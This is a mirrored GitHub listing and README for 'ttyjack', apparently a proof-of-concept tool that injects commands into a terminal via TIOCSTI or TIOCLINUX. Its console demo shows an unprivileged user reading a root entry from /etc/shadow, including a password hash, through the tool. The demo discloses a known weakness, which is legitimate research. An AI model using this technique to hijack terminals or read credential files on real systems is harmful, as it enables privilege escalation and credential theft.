https://github.com/jwilk/ttyjack

proof-of-concept tty hijacking via TIOCSTI or TIOCLINUX
https://github.com/jwilk/ttyjack

security

Last synced: 4 months ago
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proof-of-concept tty hijacking via TIOCSTI or TIOCLINUX

• Host: GitHub
• URL: https://github.com/jwilk/ttyjack
• Owner: jwilk
• License: mit
• Created: 2016-09-27T10:24:10.000Z (over 9 years ago)
• Default Branch: master
• Last Pushed: 2025-02-25T08:48:24.000Z (over 1 year ago)
• Last Synced: 2025-03-26T00:03:17.945Z (over 1 year ago)
• Topics: security
• Language: C
• Size: 52.7 KB
• Stars: 34
• Watchers: 5
• Forks: 1
• Open Issues: 0
• Metadata Files:
  • Readme: README
  • License: LICENSE

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README

          
.. code:: console

   # ttyjack --help

   Usage: ttyjack [-L] COMMAND [ARG...]

   Options:

     -L          use TIOCLINUX (works only on /dev/ttyN)

     -h, --help  show this help message and exit

   # runuser -u nobody grep ^root: /etc/shadow

   grep: /etc/shadow: Permission denied

   # runuser -u nobody ttyjack grep ^root: /etc/shadow

   …

   root:$6$Xq2H8u8X$7sGVbjX/ToCu1Azv9dxMYyu6wwkTaqb3GbjslA3NVpdHYKNhKU1XUjRuoHcSoCUEg4rasaNRCbwc3EqzJaKzu0:17305:0:99999:7:::

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